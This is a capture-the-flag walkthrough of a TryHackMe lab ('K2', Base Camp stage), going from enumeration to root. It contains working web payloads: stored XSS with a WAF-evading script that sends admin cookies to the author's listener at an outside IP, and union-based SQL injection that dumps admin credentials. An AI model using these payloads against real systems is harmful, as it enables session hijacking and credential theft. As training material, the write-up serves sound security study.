# Base Camp

{% embed url="<https://tryhackme.com/r/room/k2room>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Recon

We start with a Nmap scan and find only two open ports. We have SSH on port 22 and a Nginx web server on port 80.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FP9CKsKsFEWARtcKhbMvp%2Fgrafik.png?alt=media&#x26;token=a86647e5-2c89-4f84-aec2-9aa9da450f74" alt=""><figcaption></figcaption></figure>

We continue with a directory scan using Feroxbuster and find nothing special. The page seems to be just static.

```
feroxbuster -u 'http://k2.thm' -w /usr/share/wordlists/dirb/big.txt
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FdnaXxIgmFXj8jZboPCa0%2Fgrafik.png?alt=media&#x26;token=7f3db132-4569-4eb0-bab9-6bfc92a33368" alt=""><figcaption></figcaption></figure>

This gives us reason to believe that there may be other subdomains. We search for them with FFuF and find the subdomains `admin` and `it`. We now add them to our `/etc/hosts`.

{% code overflow="wrap" %}

```
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://k2.thm/ -H "Host:FUZZ.k2.thm" -fw 811
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7U48OblT87mWgdogmpu0%2Fgrafik.png?alt=media&#x26;token=9d9ba319-c0ca-40aa-9b8c-39c07610def6" alt=""><figcaption></figcaption></figure>

### admin.k2.thm

Behind admin.k2.thm is a system for checking tickets. However, we need some credentials that are still missing.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FssBzHVlJ9j2yaRDnaGo3%2Fgrafik.png?alt=media&#x26;token=eee162a1-60f9-4671-bf44-1a20eaa01d95" alt=""><figcaption></figcaption></figure>

Using a directory scan, we also find the endpoint `/dashboard`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFhzo0e1rP97un0rYYgBi%2Fgrafik.png?alt=media&#x26;token=7294e6e1-bba2-4b01-935f-8e1e26ad1fbb" alt=""><figcaption></figcaption></figure>

### it.k2.thm

Behind `it.k2.thm` is a ticket system. We may be able to create tickets here, which can then be viewed in `admin.k2.thm`. Furthermore, we see that we have the possibility for a signup.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5pi0Vumu4VbNP1I71Whb%2Fgrafik.png?alt=media&#x26;token=4f148a9b-806f-4758-8598-6186ccb7d589" alt=""><figcaption></figcaption></figure>

However, a directory scan with Feroxbuster does not reveal anything else of interest.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUi1SvZrCUYNeXYXsDiJy%2Fgrafik.png?alt=media&#x26;token=c295d2f0-5034-4d53-bb33-0eed1ebdc8bc" alt=""><figcaption></figcaption></figure>

We create an account to have a quick look at the ticket system.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzUfdsLV9anDhn12BPWXF%2Fgrafik.png?alt=media&#x26;token=172d1a61-b88c-438a-8769-48f4f558906c" alt=""><figcaption></figcaption></figure>

After creating an account and logging in, we see that we can create tickets. It's very simple, only the title and description can be entered.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJ6yzThtQvm2hSgq37C64%2Fgrafik.png?alt=media&#x26;token=17aa6f49-c648-41e8-867e-1404e1a69a5a" alt=""><figcaption></figcaption></figure>

## Web Access

Let's take a closer look at the system. Looking at the cookies, we see that flask-ssigned cookies are used for authentication. (not a jwt token)

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FpHlD6fmWK4jMQE7AdJlL%2Fgrafik.png?alt=media&#x26;token=fde4ca8e-bec0-446c-ab3f-95b0c3a211ad" alt=""><figcaption></figcaption></figure>

Using `jwt.io`, we take a closer look at the token.

{% embed url="<https://jwt.io/>" %}

This is also very simple, there are only the claims `auth_username`, `id` and `loggedin`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzBdO0K8yXlJRQz0H0Lyu%2Fgrafik.png?alt=media&#x26;token=ce9def08-eb4d-44ac-90ce-06850f54e5f8" alt=""><figcaption></figcaption></figure>

We are now trying to check for XSS, hoping to retrieve an admin token to hijack the session of one that will read our tickets. We use the following payloads, which resolve on our web server when the script is triggered. We set the field names as directories so that we can later tell which field is vulnerable. Furthermore, we set up a Python web server and send a ticket with the following payloads.

```
<script src="http://10.8.211.1/title"></script>
<script src="http://10.8.211.1/desc"></script>
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKP63igYtCVtuMIo0Tn3I%2Fgrafik.png?alt=media&#x26;token=48d78b8f-09a1-4ac5-9c94-4e771f716bb7" alt=""><figcaption></figcaption></figure>

And we get connections to our server. The description field is vulnerable to XSS and allows us to steal cookies, the `http-only` flag is not set.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUAIEBIhGkPZXe2LVM5Sr%2Fgrafik.png?alt=media&#x26;token=27f8faa8-0ccd-4730-8e51-30a4cc43a825" alt=""><figcaption></figcaption></figure>

A lot of payloads offer us hacktricks to do just that:

{% embed url="<https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting#retrieve-cookies>" %}

We select the following, but we see that a Web Application Firewall (WAF) takes effect.

```javascript
<img src=x onerror=this.src="http://10.8.211.1/?c="+document.cookie>
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F8GTjX8ZM88Czs8kdc4gr%2Fgrafik.png?alt=media&#x26;token=70690f7d-6ee9-480d-86f5-08c2b71cf71e" alt=""><figcaption></figcaption></figure>

It seems to trigger on `document.cookie`. We can work around this with the following payload:

```javascript
<script>var c='co'+'okie';document.location='http://10.8.211.1/?c='+document[c];</script>
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUpyuB18B39xRQQACphOj%2Fgrafik.png?alt=media&#x26;token=3429d069-4e6b-4891-b2be-500f90af821d" alt=""><figcaption></figcaption></figure>

The ticket is successfully submitted.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FX9Jk9mpsSJXHUQIZWx3Z%2Fgrafik.png?alt=media&#x26;token=44e3f3bd-81af-42ed-bfb9-709b0df8a23f" alt=""><figcaption></figcaption></figure>

And we receive some session tokens, of which we can use any of them.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FXAvTdm7vzYGypOuqxcao%2Fgrafik.png?alt=media&#x26;token=ae951dcd-e3ad-4c21-b566-811861c80d19" alt=""><figcaption></figcaption></figure>

We see it is actually and admin token using `jwt.io`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FjQuLwPij80kg5iPE9wsY%2Fgrafik.png?alt=media&#x26;token=b8f8b461-ce66-4fac-aafb-c1e7e2664327" alt=""><figcaption></figcaption></figure>

Next, we add the token for the admin subdomain. After reloading the login page, we will not be redirected directly.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FhR1wDFjThbK5GJZQvcLN%2Fgrafik.png?alt=media&#x26;token=deceb9f5-d182-4adc-8ad5-27b496c8209c" alt=""><figcaption></figcaption></figure>

When we visit `/dashboard`, we see that we have access. The challenge itself makes sure that our tickets are deleted, it may be that we trigger our own payload when we call the dashboard. After a short time, we can access the dashboard. Alternatively, you can disable JavaScript. We have three tickets in front of us and we can sort or filter by title.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7lFXCOih4nuzayRBs9RN%2Fgrafik.png?alt=media&#x26;token=7e23a224-e966-4e3d-855f-20d2d1a3f496" alt=""><figcaption></figcaption></figure>

## Information Leakage

We try to check the field for SQL injection and use the simple special character `'`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FptjqvamnC3sP2VJh0o4T%2Fgrafik.png?alt=media&#x26;token=c72a29a7-8cf8-4a42-8c5f-ee92838c4356" alt=""><figcaption></figcaption></figure>

We are causing an Internal Server Error, SQWL injection seems likely.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FB5usPX0Ba70Q8iPCkayX%2Fgrafik.png?alt=media&#x26;token=19ce8b7a-f849-47c0-ae78-db468e874e8c" alt=""><figcaption></figcaption></figure>

We intercept the request to filter and use it in SQLMap, but we don't seem to be very successful. We see that at some point in the request, we are redirected, and our session is terminated. Checking via `--proxy` and looking at the request in Burp Suite, we could now try to create a suitable tamper script, but there is a much easier solution. We do it manually! Another note, the session is not actually terminated. So we can continue.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FznqznYSihUc04v05t6io%2Fgrafik.png?alt=media&#x26;token=a27871d2-d33b-44d8-882e-87314d7aedc9" alt=""><figcaption></figcaption></figure>

We capture the request.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkodCnVW41pB6gkuj5Kvq%2Fgrafik.png?alt=media&#x26;token=8e99917a-e81f-4b31-863b-c9cdb4d546f5" alt=""><figcaption></figcaption></figure>

And try another simple SQL injection payload to get the session termination message. `OR` is the trigger here.

```
' OR  1 = 1 -- -
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FD3eL2jPGrn6KYS9GeNLB%2Fgrafik.png?alt=media&#x26;token=15fae49b-0908-49f2-b06c-a89ac7e12ce0" alt=""><figcaption></figcaption></figure>

We can substitute `OR` with `||` and the WAF is not triggered anymore.

```
' ||  1 = 1 -- -
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDaNBDYJp9gIp578XHmv1%2Fgrafik.png?alt=media&#x26;token=24240f6b-90c6-4705-af5f-8ef26fb86712" alt=""><figcaption></figcaption></figure>

Next we try to enumerate the number of columns in the table present. Determined by incrementing the columns that are selected in the Union Select Statement. Those are three.  With the payloads `' UNION SELECT 1,2` and `' UNION SELECT 1,2` we get a 500 inernal server error. Alternatively, we could also check using `ORDER BY x` and keep increasing the value `x` until we receive an internal server error.

```
' UNION SELECT 1,2,3 -- -
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fh1N30KAvyBvbyzrI2coK%2Fgrafik.png?alt=media&#x26;token=9a303854-311e-4eb2-93c0-0e9f2b7ad443" alt=""><figcaption></figcaption></figure>

Now we can query the version of the database to determine which one we are dealing with. \
DBMS Identification Payloads:

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification>" %}

```
' UNION SELECT 1,2,@@version) -- -
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJrcuc1AS3MnsjeLdU34T%2Fgrafik.png?alt=media&#x26;token=28476b63-aa6d-4bb8-9c49-29aed7447583" alt=""><figcaption></figcaption></figure>

We can query the current database to determine underlying tables. Currently in use is `ticketsite`.

```
' UNION SELECT 1,2,concat(DATABASE()) -- -
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVp4PkXGfhN5SmKASQAEA%2Fgrafik.png?alt=media&#x26;token=bcc910d3-b25b-4105-8178-53b5a35bf544" alt=""><figcaption></figcaption></figure>

We can use the following payload to query all databases, but only ticketsite seem to be of interest. This SQL injection payload attempts to retrieve a concatenated list of all database names (schemas) from the `information_schema.schemata` table. The `UNION SELECT` is used to append this information to a previous query, bypassing normal SQL restrictions to extract data.

{% code overflow="wrap" %}

```
' UNION SELECT 1,2,group_concat(schema_name) FROM information_schema.schemata -- -
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKObopPgnfRdMKJdeGAbg%2Fgrafik.png?alt=media&#x26;token=a811a709-dbb8-4e20-b65c-1615ddfe514d" alt=""><figcaption></figcaption></figure>

Next, we move on to enumerate the tables of the current database. The SQL injection payload retrieves a concatenated list of all table names from the current database by querying the `information_schema.tables` table. The `WHERE table_schema=database()` condition ensures that only tables from the currently selected database are returned.

{% code overflow="wrap" %}

```
' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables  WHERE table_schema=database() -- -
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fj0Pr61nt9DLTjxPuPvhq%2Fgrafik.png?alt=media&#x26;token=6d448f97-c55b-4cc9-995d-067b17c25fd3" alt=""><figcaption></figcaption></figure>

We retrieve the following tables.

<pre><code><strong>admin_auth,auth_users,tickets
</strong></code></pre>

Of interest is `admin_auth`. Next we query for the column names of admin\_auth. The SQL injection payload retrieves a concatenated list of all column names from the `admin_auth` table in the current database. It queries the `information_schema.columns` table and filters the results using `table_schema = database()` to ensure it only lists columns from the currently active database and from the specified `admin_auth` table.

{% code overflow="wrap" %}

```
' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema = database() and table_name ='admin_auth'-- -
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWnrUlCZ7nhs7EajuWD5v%2Fgrafik.png?alt=media&#x26;token=1eee5ef7-e475-48da-88bc-78d7dfdc58a0" alt=""><figcaption></figcaption></figure>

We retrieve the following columns.

```
admin_password,admin_username,email,id
```

Next, we retrieve the `admin_username` and `admin_password` from `admin_auth`. The SQL injection payload retrieves a concatenated list of the `admin_username` and `admin_password` values from the `admin_auth` table, separated by a colon (`:`).

```
' UNION SELECT 1,2,group_concat(admin_username,':',admin_password) FROM admin_auth -- -
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FjKeGzbgk4LQxRtUFFCuw%2Fgrafik.png?alt=media&#x26;token=a59498cb-004c-4076-b38c-9e0637f4601e" alt=""><figcaption></figcaption></figure>

## Foothold

We notice that the user James has reused the password for the admin panel. We can log in to the server via SSH with his credentials. In the home directroy off james we find the user flag.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FLDWVImPlkHXg3q2uqLz9%2Fgrafik.png?alt=media&#x26;token=d2642878-0532-4af3-a76c-fb1237333e30" alt=""><figcaption></figcaption></figure>

Furthermore, we can already answer the fourth question by looking at the `/etc/passwd` file.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FdYKXo8ayUo0BGgtPrKIB%2Fgrafik.png?alt=media&#x26;token=a455880d-1129-4fd4-840a-f44acc43fd08" alt=""><figcaption></figcaption></figure>

## Root Access

While enumerating, we notice that we are part of the `adm` group and therefore can read the logs in `/var/logs`. Perhaps we can find something useful there to extend our privileges.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fc5YmL28ismF4lC4CrHVJ%2Fgrafik.png?alt=media&#x26;token=9aa63e06-9f5a-475f-b197-21144df3c3c8" alt=""><figcaption></figcaption></figure>

We know about the user `rose`. So let's take a look at the logs. In `/var/logs`, we run `grep -iR` `rose` to find all entries that have `rose` as a topic in any way.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FdrNBREpQdREdIj3fqaBe%2Fgrafik.png?alt=media&#x26;token=efea48d9-42c0-43c4-b90b-8dd81329e35f" alt=""><figcaption></figcaption></figure>

In `nginx/access.log`, we find the failed login attempt of rose with a clear text password. We know that we cannot switch to user rose. But rose may have made a more serious mistake.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FpObXWsdKeltFWMC0kV1i%2Fgrafik.png?alt=media&#x26;token=9a15f58f-6109-4862-a794-be1d7957ad21" alt=""><figcaption></figcaption></figure>

We realize it is the password of the `root` user. Using that password we are able to get a `root` shell.

From there, we go to `rose`'s home directory and find a failed attempt to switch `root` users in the `.bash_history` file using `sudo su`. It shows something like `sudo suREDACTED`. The user forgot to hit enter after sudo su and typed the user's password right after the command.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQnleE7zWa8hrLira4NPr%2Fgrafik.png?alt=media&#x26;token=3cde53e3-9bfb-4746-85c2-903512825828" alt=""><figcaption></figcaption></figure>

To answer the third question, here is a brief summary of who now has access to the server.

```
james password    # database
root password     # nginx/access.log
rose password     # /home/rose/.bash_history
```
